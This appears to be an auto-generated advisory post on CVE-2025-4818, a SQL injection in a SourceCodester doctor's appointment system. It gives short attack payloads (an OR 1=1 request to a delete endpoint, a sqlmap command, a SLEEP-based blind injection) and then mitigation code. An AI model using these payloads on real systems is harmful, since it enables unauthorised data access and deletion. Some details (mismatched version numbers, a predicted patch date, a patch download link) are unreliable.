SourceCodester Doctor’s Appointment System 10, SQL Injection, CVE-2025-4818 (Critical)

Listen to this Post

How CVE-2025-4818 Works

This vulnerability exploits improper input sanitization in the `/admin/delete-doctor.php` endpoint, where the `ID` parameter is directly concatenated into an SQL query. Attackers can inject malicious SQL payloads via crafted GET requests, leading to unauthorized database access, data manipulation, or deletion. The lack of prepared statements or parameterized queries allows arbitrary SQL execution. Remote exploitation is possible without authentication, making it critical.

DailyCVE Form

Platform: SourceCodester
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025

Prediction: Patch expected by 06/15/2025

What Undercode Say:

Exploitation

1. Craft Malicious Request:

GET /admin/delete-doctor.php?ID=1%20OR%201=1-- HTTP/1.1
Host: target.com

2. SQLMap Automation:

sqlmap -u "http://target.com/admin/delete-doctor.php?ID=1" --risk=3 --level=5

3. Blind Injection Payload:

ID=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--

Protection

1. Input Validation:

if (!is_numeric($_GET['ID'])) { die("Invalid ID"); }

2. Prepared Statements:

$stmt = $conn->prepare("DELETE FROM doctors WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);

3. WAF Rules:

location ~ /admin/ {
deny all;
}

4. Patch Monitoring:

wget https://sourcecodester.com/patches/doctor-appointment-1.0.1.zip

5. Log Analysis:

grep "delete-doctor.php" /var/log/apache2/access.log | cut -d " " -f 1 | sort -u

6. Database Hardening:

REVOKE DELETE ON doctors FROM 'app_user'@'localhost';

7. Exploit Mitigation:

iptables -A INPUT -p tcp --dport 80 -m string --string "delete-doctor.php" --algo bm -j DROP

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top